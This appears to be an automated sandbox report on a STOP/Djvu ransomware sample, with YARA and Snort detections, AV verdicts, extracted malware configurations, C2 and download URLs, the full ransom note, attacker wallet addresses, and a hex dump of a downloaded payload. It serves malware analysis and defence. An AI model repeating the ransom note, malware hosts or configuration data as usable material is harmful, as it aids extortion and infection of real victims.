5.0.U59WtZz2Sg.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Click to see the 361 entries

Snort Signatures

ET TROJAN Win32/Filecoder.STOP Variant Public Key Download - Source IP: 222.236.49.123 - Destination IP: 192.168.2.5

Timestamp:	222.236.49.123192.168.2.580497042036335 11/30/22-00:22:18.131398
SID:	2036335
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 222.236.49.123

Timestamp:	192.168.2.5222.236.49.12349706802036333 11/30/22-00:22:26.085731
SID:	2036333
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.5 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.58.8.8.851441532023883 11/30/22-00:22:16.657289
SID:	2023883
Source Port:	51441
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.5 - Destination IP: 222.236.49.123

Timestamp:	192.168.2.5222.236.49.12349706802020826 11/30/22-00:22:26.085731
SID:	2020826
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.5 - Destination IP: 116.121.62.237

Timestamp:	192.168.2.5116.121.62.23749705802020826 11/30/22-00:22:17.137850
SID:	2020826
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.5 - Destination IP: 116.121.62.237

Timestamp:	192.168.2.5116.121.62.23749705802036333 11/30/22-00:22:17.137850
SID:	2036333
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://uaery.top/dl/build2.exeJ_	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/files/1/build3.exerun	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=trueW	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/files/1/build3.exe(	Avira URL Cloud: Label: malware
Source: http://uaery.top/dl/build2.exe	Avira URL Cloud: Label: malware
Source: http://uaery.top/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/test1/get.php	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/files/1/build3.exe$run	Avira URL Cloud: Label: malware
Source: http://fresherlights.com/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	Avira URL Cloud: Label: malware
Source: http://uaery.top/dl/build2.exerunk6	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: U59WtZz2Sg.exe

Virustotal: Detection: 36%

Perma Link

Multi AV Scanner detection for domain / URL

Source: uaery.top	Virustotal: Detection: 21%			Perma Link
Source: fresherlights.com	Virustotal: Detection: 18%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build2[1].exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\build3[1].exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 92%

Machine Learning detection for sample

Source: U59WtZz2Sg.exe

Joe Sandbox ML: detected

Source: 14.0.mstsca.exe.ee0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 14.2.mstsca.exe.ee0000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 11.2.build3.exe.b90000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 11.0.build3.exe.b90000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": ["http://uaery.top/dl/build2.exe", "http://fresherlights.com/files/1/build3.exe"], "C2 url": "http://fresherlights.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-5UcwRdS3ED\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@fishmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0609djfsieE", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local
Source: 0000000A.00000000.347600742.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "https://t.me/asifrazatg", "Botnet": "517"}
Source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack	Malware Configuration Extractor: Clipboard Hijacker {"Crypto Addresses": ["DBbgRYaKG993LFJKCWz73PZqveWsnwRmGc", "3NLzE3tXwoagBrgFsjNNkPZfrESydTD8JP", "MBD2C8QV7RDrNtSDRe9B2iH5r7yH4iMcxk", "ltc1qa5lae8k7tzcw5lcjfvfs3n0nhf0z3cgrsz2dym", "addr1qx4jwm700r2w6fneakg0r5pkg76vu7qkt6qv7zxza3qu3w9tyahu77x5a5n8nmvs78grv3a5eeupvh5qeuyv9mzpezuq60zykl", "0xa6360e294DfCe4fE4Edf61b170c76770691aA111", "42UxohbdHGMYGPvW5Uep45Jt9Rj2WvTV958B5G5vHnawZhA4UwoD53Tafn6GRmcGdoSFUfCQN6Xm37LBZZ6qNBorFw3b6s2", "89SPVUAPHDLSq5pRdf8Eo6SLnKRJ8BNSYYnvPL6iJxGP4FBCBmkeV3CTSLCbk6uydxRnub4gLH6TBRycxSAQN2m1KcnhrSZ", "LLiNjWA9h4LxVtDigLQ79xQdGiJYC4oHis", "t1VQgJMcNsBHsDyu1tXmJZjDpgbm3ftmTGN", "bnb136ns6lfw4zs5hg4n85vdthaad7hq5m4gtkgf23", "Ae2tdPwUPEZDqNhACJ3ZT5NdVjkNffGAwa4Mc9N95udKWYzt1VnFngLMnPE", "1My2QNmVqkvN5M13xk8DWftjwC9G1F2w8Z", "bc1qx8vykfse9s9llguez9cuyjmy092yeqkesl2r5v"]}

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,

Source: U59WtZz2Sg.exe, 00000005.00000003.540487888.00000000031B4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: U59WtZz2Sg.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\_readme.txt			Jump to behavior
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\_readme.txt			Jump to behavior

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.5:49712 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: U59WtZz2Sg.exe, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\gahu\juviru.pdb source: U59WtZz2Sg.exe, U59WtZz2Sg.exe, 00000000.00000000.295248076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000000.00000002.304266676.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000001.00000000.300308286.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000000.308700520.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318011527.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000004.00000000.310209669.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000004.00000002.344696539.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000005.00000000.313385446.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388604495.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dismhost.pdbGCTL source: U59WtZz2Sg.exe, 00000005.00000003.378308612.0000000003077000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: dismhost.pdb source: U59WtZz2Sg.exe, 00000005.00000003.378308612.0000000003077000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 9`C:\rena52\buvicaduyaf\hurujof wac\huriyav\jufi.pdb0h source: U59WtZz2Sg.exe, 00000005.00000003.440565184.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: U59WtZz2Sg.exe, 00000000.00000002.305141359.0000000002220000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.303569533.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000002.309064408.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000001.00000000.301786839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318481347.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000004.00000002.362805036.0000000002280000.00000040.00001000.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.317450025.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000002.564528734.0000000000400000.00000040.00000400.00020000.00000000.sdmp, U59WtZz2Sg.exe, 00000005.00000000.314284082.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\rena52\buvicaduyaf\hurujof wac\huriyav\jufi.pdb source: U59WtZz2Sg.exe, 00000005.00000003.440565184.0000000003060000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: #C:\gahu\juviru.pdb0f source: U59WtZz2Sg.exe, 00000000.00000000.295248076.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000000.00000002.304266676.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000001.00000000.300308286.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000000.308700520.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000003.00000002.318011527.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000004.00000000.310209669.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000004.00000002.344696539.0000000000401000.00000020.00000001.01000000.00000005.sdmp, U59WtZz2Sg.exe, 00000005.00000000.313385446.0000000000401000.00000020.00000001.01000000.00000003.sdmp, U59WtZz2Sg.exe, 00000005.00000003.388604495.0000000003060000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe

Code function: 0_2_00403341 GetModuleHandleW,GetNamedPipeHandleStateW,InterlockedExchange,GetConsoleAliasExesLengthW,EnumCalendarInfoW,InterlockedCompareExchange,GetConsoleTitleA,GetLogicalDriveStringsW,FlushFileBuffers,GetShortPathNameA,GetComputerNameExA,CopyFileW,CloseHandle,LoadLibraryA,InterlockedIncrement,InterlockedIncrement,GetCharWidthA,CreateNamedPipeW,WinHttpSetOption,GlobalFlags,FindFirstVolumeA,CreateJobObjectA,GetModuleHandleW,FindResourceA,GetHandleInformation,CancelTimerQueueTimer,VerifyVersionInfoA,InterlockedIncrement,GetCommandLineA,SearchPathA,WriteConsoleOutputA,GetCPInfoExW,GetBinaryTypeA,

Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.5:51441 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.5:49705 -> 116.121.62.237:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.5:49705 -> 116.121.62.237:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 222.236.49.123:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.5:49706 -> 222.236.49.123:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.5:49706 -> 222.236.49.123:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://fresherlights.com/test1/get.php
Source: Malware configuration extractor	URLs: https://t.me/asifrazatg

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /517 HTTP/1.1Host: 88.198.94.71
Source: global traffic	HTTP traffic detected: GET /176356074953.zip HTTP/1.1Host: 88.198.94.71Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----1417805488924803Host: 88.198.94.71Content-Length: 131097Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Nov 2022 23:22:17 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 29 Nov 2022 16:00:02 GMTETag: "40800-5ee9e14abb179"Accept-Ranges: bytesContent-Length: 264192Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 72 d7 f5 25 36 b6 9b 76 36 b6 9b 76 36 b6 9b 76 8b f9 0d 76 37 b6 9b 76 28 e4 0e 76 27 b6 9b 76 28 e4 18 76 5f b6 9b 76 11 70 e0 76 31 b6 9b 76 36 b6 9a 76 ae b6 9b 76 28 e4 1f 76 14 b6 9b 76 28 e4 0f 76 37 b6 9b 76 28 e4 0a 76 37 b6 9b 76 52 69 63 68 36 b6 9b 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d1 57 0d 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0a 01 00 00 48 06 00 00 00 00 00 97 4e 00 00 00 10 00 00 00 20 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 07 00 00 04 00 00 4b 2c 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 0c 01 00 50 00 00 00 00 30 07 00 90 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 09 01 00 00 10 00 00 00 0a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 08 01 06 00 00 20 01 00 00 ca 02 00 00 0e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 2f 00 00 00 30 07 00 00 30 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
